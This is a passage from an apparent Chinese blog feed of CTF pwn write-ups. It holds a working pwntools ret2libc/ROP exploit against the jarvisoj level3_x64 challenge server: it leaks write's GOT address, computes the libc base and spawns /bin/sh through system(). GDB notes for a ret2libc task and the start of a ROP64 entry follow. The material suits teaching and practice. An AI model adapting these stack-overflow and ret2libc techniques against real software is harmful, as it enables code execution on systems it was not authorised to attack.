&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# io = process(&amp;quot;.&#x2F;level3&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;pwn2.jarvisoj.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 9883&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;vul_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;vulnerable_function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_addr_got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# ropper --file .&#x2F;level3_x64 --search &amp;quot;pop | ret&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;00000000004006b3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 1 for stdin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pop_rsi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;00000000004006b1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;write_addr_got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pop_rdx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 根本没有pop rdx; ret; 随便填一个，rdx值本来要大于8就行，不大于8也没办法&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#           junk        ebp （8个）   参数1     参数2      参数3     要执行的函数的地址   执行后返回的地址&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;deadbeef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pop_rsi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pop_rdx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;vul_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 得到真实地址&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;libc-2.19.so&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;binsh_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;search&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # search返回的是个迭代器，要用next()才能访问到偏移量&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; write_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; write_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; sys_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; binsh_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pop_rdi_binsh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;00000000004006b3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;jjjjjjjj&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pop_rdi_binsh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sys_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;ret2libc&quot;&gt;ret2libc&lt;&#x2F;h2&gt;
&lt;p&gt;很奇怪每次输入都会改变变量到栈底距离的题，不过因此学到了如何在脚本里关联上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GDB（&lt;code&gt;gdb.attach(io, &quot;b main&quot;)&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，并在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GDB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中直接看要填充多少（&lt;code&gt;distance $eax $ebp&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;首先&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;gdb ret2libc3&lt;&#x2F;code&gt;，&lt;code&gt;b main&lt;&#x2F;code&gt;，&lt;code&gt;r&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后一路&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;n&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到要读入的语句：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;objdump&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0x8048683 &amp;lt;main+107&amp;gt;    lea    eax, [esp + 0x1c]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0x8048687 &amp;lt;main+111&amp;gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;mov&lt;&#x2F;span&gt;&lt;span&gt;    dword ptr [esp], eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0x804868a &amp;lt;main+114&amp;gt;    call   gets@plt &amp;lt;0x8048440&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;[ebp -
0x??]&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这样的一般是变量地址，这题特殊用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;esp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;定位，所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;main+107&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;处把变量所在地址给了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;eax（&lt;code&gt;lea&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是“取有效地址&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，
感觉可以当做只传地址的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mov&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;执行完&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;main+107&amp;gt;，就可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;distance $eax $ebp&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得出要填充成垃圾的长度：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xffffcefc-&amp;gt;0xffffcf68 is 0x6c bytes (0x1b words)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写进脚本：&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;仅存的笔记到这里就断了。备份的代码也丢失在时间里，就像雨中的眼泪……&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;动态链接
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;动态链接&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>ROP64</title>
    <published>2018-10-28T20:09:30+08:00</published>
    <updated>2018-10-28T20:09:30+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/rop64/" type="text/html" />
    <id>https://emptystack.top/rop64/</id>
    <content type="html">
      &lt;h1 id=&quot;task_rop64.rop64&quot;&gt;task_rop64.rop64&lt;&#x2F;h1&gt;
&lt;p&gt;看题目是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;64&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位的，就用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;level3x64&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的脚本改了：先打印一个已经执行过的函数的真实地址，用它和该函数在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里的偏移算出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的基址，得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bin&#x2F;sh&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的真实地址最让让它执行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;system(&quot;&#x2F;bin&#x2F;sh&quot;)&lt;&#x2F;code&gt;。区别是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;symbols&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找不到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数地址，要从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;IDA&#x2F;GDB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中找到地址，写进去；还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;puts&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的真实地址最后一位是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;，这样用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;puts&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打印的时候到这一位就结束不再打印了，要自己把它加在后面，&lt;code&gt;io.recvuntil(&quot;\x7f&quot;).ljust(8,&quot;\x00&quot;)&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才能用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;u64&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解出地址。&lt;&#x2F;p&gt;
&lt;p&gt;&quot;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc.so.6&quot;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是我的电脑里用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版本。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
